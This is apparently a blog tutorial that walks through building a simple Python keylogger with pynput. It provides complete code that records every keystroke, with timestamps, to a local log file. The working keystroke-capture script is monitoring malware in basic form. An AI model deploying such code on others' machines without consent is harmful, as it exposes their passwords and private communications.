How To Create Keylogger In Python

4321

In this tutorial, you will learn how to create a keylogger in Python. In case if you are not aware, a keylogger is a program that monitors keystrokes. A keylogger program’s basic functionality is to monitor keystrokes continuously and then deliver those keystrokes to a specific location that can be either an email, server, or stored locally in the system.

Before moving ahead to design our keylogger, please note that it is only for educational purposes. Please don’t use the script in this tutorial for any illegal purposes.

Also Read10 Best Books To Learn Python For Beginners And Experts

How To Create a Keylogger In Python

Step 1: To create our keylogger, we will use a Python library named pynput. With this Python library, you can fully control and monitor keyboard and mouse inputs.

Currently, it supports mouse and keyboard input devices and has the following sub-packages:

  • pynput.mouse – This package includes all the classes to control and monitor a mouse or trackpad.
  • pynput.keyboard – This package contains all the classes to work with the keyboard.

To learn more about this library, you can check out its documentation.

Install the pynput library using the pip install pynputcommand.

Step 2: Now that we have installed the required Python library, let’s import all the required packages.

from pynput.keyboard import Key, Listener
import logging

Step 3: In this step, we will specify the path where will the log file will be stored. This log file will include all the monitored keystrokes in the format specified.

log_dir = r"C:/users/himanshu/" 
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

Now, we will call the on_press() function, which takes keys as parameters.

def on_press(key):
   logging.info(str(key))

Step 4: In this final step, we will create Listener instance and define the on_press() method in it and join it with the main program thread.

with Listener(on_press=on_press) as listener:
listener.join()

After completing all these steps, the final program should look like this and you can execute this script.

import pynput
from pynput.keyboard import Key, Listener
import logging

log_dir = r"C:/users/himanshu/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
   logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

Also ReadLearn Python Online With These 12 Best Free Websites

Step 5: Now, to check the output of our keylogger program type some random keys and open your log file.

Output

python keylogger

Conclusion

In this tutorial, you learned how to create a keylogger in Python. By following the steps in this tutorial, you will design an active keylogger that will monitor all the keystrokes and store them in a log file. To stop monitoring the keystrokes, all you have to do is stop the program.

Do share your thoughts by writing to me at [email protected], and don’t forget to subscribe to our newsletter for more such Python tutorials and scripts in the future.

Other similar Python programming tutorials you should check out